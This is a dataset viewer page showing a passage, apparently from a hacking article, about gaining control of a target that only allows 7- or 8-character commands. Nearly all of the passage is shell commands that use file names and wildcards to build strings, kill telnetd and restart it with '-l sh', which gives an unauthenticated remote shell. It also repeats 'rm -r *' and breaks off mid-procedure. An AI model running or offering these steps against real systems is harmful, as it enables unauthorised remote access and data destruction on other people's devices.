text stringlengths 0 1.99k |
|---|
this link is automatically updated when the process changes its working |
directory, such as when it executes the cd command or changes directories |
programmatically. By reading the target of /proc/self/cwd, the working |
directory of a process can be programmatically determine at any given time |
(making it a useful tool for monitoring). |
Let's start with the simplest case (using ash), taking control of the |
target when we can execute an 8-character command. |
Create files named "killall" and "telnetd". |
$ >killall |
$ >telnetd |
Kill telnetd and restarting it with the desired options (-lsh). |
$ k* t* |
$ t* -lsh |
Yes, it is that simple. The same process may be used with 7 characters. |
Clean current directory (/proc/self/cwd). |
$ rm -r * |
Writing string "killal\n" into ".a". |
$ >killal |
$ >echo |
$ *>>l |
$ cp l .a |
$ rm -r * |
Writing string " echo\n" into ".c". |
$ >" " |
$ >echo |
$ e* *>>l |
$ cp l .c |
$ rm -r * |
Writing string "telnet\n" into ".d". |
$ >telnet |
$ >echo |
$ *>>l |
$ cp l .d |
$ rm -r * |
Writing string "lsh\n" into ".g". |
$ >lsh |
$ >echo |
$ *>>l |
$ cp l .g |
$ rm -r * |
Writing string "killal" into ".a". |
$ >head |
$ cp .a f |
$ cp f h* |
$ rm f |
$ >-c |
$ >6 |
$ h* *>>h |
$ cp h .a |
$ rm h |
Writing string "telnet" into ".d". |
$ cp .d f |
$ cp f h* |
$ rm f |
$ h* *>>h |
$ cp h .d |
$ rm h |
Writing string "lsh" into ".g". |
$ cp .g f |
$ cp f h* |
$ rm f |
$ rm 6 |
$ >3 |
$ h* *>>h |
$ cp h .g |
$ rm h |
Writing string " " into ".c". |
$ cp .c f |
$ cp f h* |
$ rm f |
$ rm 3 |
$ >1 |
$ h* *>>h |
$ cp h .c |
$ rm h |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.